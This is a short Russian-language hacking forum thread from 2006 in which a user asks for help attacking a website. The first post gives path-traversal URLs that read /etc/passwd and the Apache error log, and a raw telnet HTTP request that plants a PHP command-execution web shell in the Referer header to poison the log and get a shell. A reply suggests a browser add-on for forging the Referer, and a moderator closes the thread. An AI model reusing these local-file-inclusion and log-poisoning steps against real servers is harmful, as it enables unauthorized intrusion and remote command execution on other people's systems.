Помогите разобраться и инклудом!

Discussion in 'Песочница' started by MyPoorBrain, 11 Nov 2006.

Thread Status:
Not open for further replies.
  1. MyPoorBrain

    MyPoorBrain New Member

    Joined:
    9 Nov 2006
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Помогите разобраться и инклудом!
    Я нашёл вот это:

    http://ввв.сайд.орг/static.php?file=../../../../../../../../../../../../../../../../../etc/passwd

    Пошарил...

    http://ввв.сайд.орг/static.php?file=../../../../../../../../../../../../usr/local/apache/logs/error_log

    Я собирался подконектиться к телнету...
    # telnet 127.0.0.1 80
    # Trying 127.0.0.1...
    # Connected to localhost.
    # Escape character is '^]'.
    # GET HTTP/1.1
    # Accept: */*
    # Accept-Language: ru.
    # Accept-Encoding: deflate.
    # User-Agent: Lynx/2.8.5rel.1 libwww-FM/2.14
    # Host: 127.0.0.1
    # Connection: Close
    # Referer: http://127.0.0.1/<?passthru($_GET['cmd']);?>
    # сдесь мы передали наш кода в поле Referer - на тот случай если фильтруются передоваемые GET-oм параметры сценарием на сервере.

    ...что бы получить шелл на базе лога. Но у меня, представьте себе, telnet не пашет =). Чо посоветуете?
     
  2. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    http://www.mozilla.com/en-US/firefox/
    https://addons.mozilla.org/firefox/967/ - тут можно менять Referer
     
  3. MyPoorBrain

    MyPoorBrain New Member

    Joined:
    9 Nov 2006
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Hidden, спс.
     
  4. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    Тема закрыта.
     
Thread Status:
Not open for further replies.